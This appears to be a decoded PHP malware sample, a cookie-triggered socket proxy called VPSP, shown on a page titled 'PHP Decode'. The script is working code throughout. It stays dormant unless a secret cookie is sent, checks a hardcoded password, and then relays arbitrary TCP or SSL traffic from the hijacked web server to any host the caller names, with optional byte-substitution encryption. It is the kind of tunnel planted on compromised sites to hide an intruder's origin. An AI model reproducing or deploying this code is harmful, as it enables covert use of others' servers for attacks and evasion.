PHP Decode

if (isset($_COOKIE['var_tx'])) {
$GLOBALS['vpsp_pe'] = array(254, 20, 13, 169, 74, 33, 204, 116, 196, 129, 15, 53, 168, 226, 14, 207, 111, 55, 51, 177, 229, 244, 98, 23, 198, 97, 94, 11, 221, 117, 144, 218, 61, 49, 131, 255, 158, 183, 179, 76, 122, 143, 157, 91, 247, 123, 232, 75, 203, 146, 170, 121, 16, 4, 29, 206, 237, 0, 71, 68, 141, 44, 165, 172, 17, 8, 95, 132, 109, 162, 127, 72, 78, 120, 156, 50, 36, 40, 149, 151, 182, 175, 101, 193, 251, 212, 245, 148, 31, 228, 90, 125, 231, 52, 128, 166, 174, 1, 155, 184, 96, 104, 186, 45, 60, 119, 220, 2, 205, 22, 150, 223, 217, 102, 107, 112, 133, 199, 7, 159, 137, 88, 32, 189, 154, 153, 239, 103, 201, 66, 190, 57, 59, 241, 126, 233, 140, 58, 64, 130, 21, 178, 219, 87, 86, 187, 160, 134, 89, 253, 211, 222, 224, 115, 85, 38, 164, 215, 250, 124, 139, 188, 248, 41, 108, 106, 114, 194, 46, 185, 240, 54, 234, 171, 81, 249, 43, 181, 105, 147, 214, 161, 84, 176, 191, 99, 216, 180, 73, 67, 138, 10, 242, 12, 47, 113, 227, 163, 24, 6, 100, 27, 235, 243, 210, 173, 9, 142, 62, 79, 246, 197, 48, 35, 238, 80, 25, 118, 18, 30, 135, 208, 42, 34, 39, 252, 200, 65, 63, 69, 82, 70, 192, 110, 37, 28, 225, 56, 213, 145, 3, 93, 167, 92, 202, 209, 195, 26, 236, 152, 83, 230, 5, 77, 136, 19);

define('vpsp_version', '2.5.0');
define('vpsp_pwd', '123cv');

error_reporting(~E_ALL);

@set_time_limit(0);
ob_implicit_flush(1);
ignore_user_abort(0);

header('Content-type: application/octet-stream');
header('Content-Transfer-Encoding: binary');
header('X-VPSP-VERSION: ' . vpsp_version);

$input = fopen('php://input', 'r');
define('vpsp_enc',  ord(fread($input, 1)) != 0);
$ok;

if (vpsp_enc) {
	if (isset($GLOBALS['vpsp_pe']) == false) {
		$GLOBALS['vpsp_ks'] = VC_GenerateKeyHash(vpsp_enc_key);
		$GLOBALS['vpsp_pe'] = VC_Init(vpsp_enc_key, $GLOBALS['vpsp_ks']);
	}
	$GLOBALS['vpsp_pd'] = array_flip($GLOBALS['vpsp_pe']);
	
	$ok = VC_Decrypt(fread($input, 2));
	if ($ok != 'OK') {
		header('X-VPSP-ERROR: bad_enc_key');
		header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
		exit;
	}
	$rBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
	$sBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
	$reqPwdLen = ord(VC_Decrypt(fread($input, 1)));
	$reqPwd = ($reqPwdLen > 0) ? VC_Decrypt(fread($input, $reqPwdLen)) : '';
	$https = ord(VC_Decrypt(fread($input, 1)));
	$host = VC_Decrypt(fread($input, ord(VC_Decrypt(fread($input, 1)))));
	$port = ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
} else {
	$ok = fread($input, 2);
	if ($ok != 'OK') {
		header('X-VPSP-ERROR: bad_request');
		header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
		exit;
	}
	$rBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1));
	$sBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1));
	$reqPwdLen = ord(fread($input, 1));
	$reqPwd = ($reqPwdLen > 0) ? fread($input, $reqPwdLen) : '';
	$https = ord(fread($input, 1));
	$host = fread($input, ord(fread($input, 1)));
	$port = ord(fread($input, 1)) * 256 + ord(fread($input, 1));
}

if ($reqPwd !== vpsp_pwd) {
	$resp = "HTTP/1.0 401 Unauthorized
X-VPSP-VERSION: " . vpsp_version . "
X-VPSP-ERROR: bad_password
X-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']  . "
Connection: close

";
	if (vpsp_enc) {
		echo VC_Encrypt($resp);
	} else {
		echo $resp;
	}
	exit;
}

if ($https == 1) {
	$host = 'ssl://' . $host;
}

$fsok = fsockopen($host, $port, $errno, $errstr, 20);
if ($fsok == false) {
	$resp = "HTTP/1.0 503 Service Unavailable
X-VPSP-VERSION: " . vpsp_version . "
X-VPSP-ERROR: host_down
X-VPSP-ERROR-TEXT: " . base64_encode($errstr) ."
X-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "
X-VPSP-TARGET: " . str_replace('ssl://', '', $host) . "
Connection: close

";
	if (vpsp_enc) {
		echo VC_Encrypt($resp);
	} else {
		echo $resp;
	}
	exit;
}

while ($wbuffer = fread($input, $rBuffLen)) {
	if (vpsp_enc) {
		fwrite($fsok, VC_Decrypt($wbuffer));
	} else {
		fwrite($fsok, $wbuffer);
	}
}

fflush($fsok);

while ($rbuffer = fread($fsok, $sBuffLen)) {
	if (vpsp_enc) {
		echo VC_Encrypt($rbuffer);
	} else {
		echo $rbuffer;
	}
}
fflush($fsok);
fclose($fsok);
exit;
}


function MD5Hash($str) {
	$m = md5($str);
	$s = '';
 	foreach(explode("
", trim(chunk_split($m, 2))) as $h) {
 		$s .= chr(hexdec($h));
 	}
	return $s;
}

function VC_Init($key, $ks) {
	$s = range(0, 255);
	if (strlen($key) == 0) {
		return $s;
	}
	$km = MD5Hash($key);
	$kx = '';
	for ($i = 0; $i < 16; $i++) {
		$kx .= MD5Hash($km . $km[$i] .  chr($ks));
	}
	$r = ($ks % 0x0F) + 1;
	$j = $ks;
	for ($n = 0; $n < $r; $n++) {
		for ($i = 0; $i < 256; $i++) {
			$j = (($j + $s[$i] + $n + ord($kx[$i])) ^ $ks) % 256;
			$t = $s[$i];
			$s[$i] = $s[$j];
			$s[$j] = $t;
		}
	}
	for ($i = 0; $i < 256; $i++) {
		$s[$i] = $s[$i] ^ $ks;
	}
	return $s;
}

function VC_GenerateKeyHash($key) {
	$m = MD5Hash($key);
	$kt = 0;
	for ($i = 0; $i < 16; $i++) {
		$kt += ord($m[$i]);
	}
	return $kt % 256;
}

function VC_Encrypt($str) {
	$pe = $GLOBALS['vpsp_pe'];
	$out = '';
	$len = strlen($str);
	for ($y = 0; $y < $len; $y++) {
		$out .= chr($pe[ord($str[$y])]);
	}
	return $out;
}

function VC_Decrypt($str) {
	$pd = $GLOBALS['vpsp_pd'];
	$out = '';
	$len = strlen($str);
	for ($y = 0; $y < $len; $y++) {
		$out .= chr($pd[ord($str[$y])]);
	}
	return $out;
}